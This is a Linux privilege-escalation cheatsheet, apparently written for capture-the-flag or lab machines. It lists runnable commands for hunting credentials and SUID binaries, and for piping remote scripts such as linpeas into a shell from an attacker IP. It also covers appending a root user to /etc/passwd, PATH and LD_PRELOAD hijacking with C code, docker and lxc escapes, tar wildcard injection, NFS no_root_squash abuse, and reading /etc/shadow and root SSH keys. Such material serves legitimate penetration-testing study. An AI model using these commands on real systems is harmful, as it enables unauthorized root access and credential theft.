Linux privilege escalation
Work from top to bottom; most easy and medium boxes fall in the first three sections. To exploit a specific binary, see the Linux binaries cheatsheet.
Checks
Who and where am I
id; whoami; groups
uname -a; cat /etc/os-release
grep -E 'sh$' /etc/passwd
Sudo, SUID and capabilities
sudo -l
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cap_setuid, cap_dac_read_search or cap_sys_admin on an interpreter usually mean instant root.
sudo -V | head -1
Jobs and processes
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
systemctl list-timers --all
ps -eo user,pid,cmd --forest | grep -v '\[' | grep ^root
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; done
Network and internal services
ss -tulnp | grep 127.0.0.1
for p in $(awk 'NR>1 && $4=="0A" {split($2,a,":"); print a[2]}' /proc/net/tcp | sort -u); do echo $((16#$p)); done
Lists listening ports. To reach them from your machine, see the pivoting cheatsheet.
Credentials
grep -rniE '(pass(word)?|pwd|secret|token)\s*[=:]' /var/www /opt /etc /home 2>/dev/null | grep -v '^Binary'
find / \( -name '*.conf' -o -name '*.config' -o -name '.env' -o -name 'wp-config.php' -o -name '*.kdbx' \) -readable 2>/dev/null | grep -vE '^/(proc|sys|usr/share)'
cat ~/.*history 2>/dev/null; ls -la /home/*/
find / -name '*.db' -o -name '*.sqlite' 2>/dev/null | grep -vE '^/(proc|sys|usr)'
su root
Try every password you find with root and with every other user.
Write permissions
find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev|run|home|tmp|var/tmp)'
ls -l /etc/passwd /etc/shadow /etc/sudoers
Automated scripts
curl -L http://10.10.14.5/linpeas.sh | sh
Grab it from github.com/peass-ng/PEASS-ng and serve it with python3 -m http.server 80.
Exploitation
Quick wins
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" >> /etc/passwd && su pwn
chmod u+s /bin/bash
bash -p
PATH hijacking
When a root script or binary calls a command without an absolute path (ps instead of /bin/ps).
strings /usr/local/bin/binario | grep -vE '^/'
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH
Library hijacking
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py
When sudo runs a Python script that imports random and you can write to its folder (or an earlier sys.path entry).
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido
Privileged groups
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh
You need an imported alpine image (lxc image import) if the box has no internet.
debugfs /dev/sda1
Inside debugfs: cat /etc/shadow or cat /root/.ssh/id_rsa. Find the disk with df -h.
grep -riE 'pass|login' /var/log 2>/dev/null
Wildcards and symlinks
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
ln -sf /root/.ssh/id_rsa /tmp/fichero_que_copia_root
NFS with no_root_squash
cat /etc/exports
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash
Then, on the target: /shared/bash -p. Copy a bash that matches the target version.
Kernel
ls -l /usr/bin/pkexec && pkexec --version
uname -r
./linux-exploit-suggester.sh
No command matches.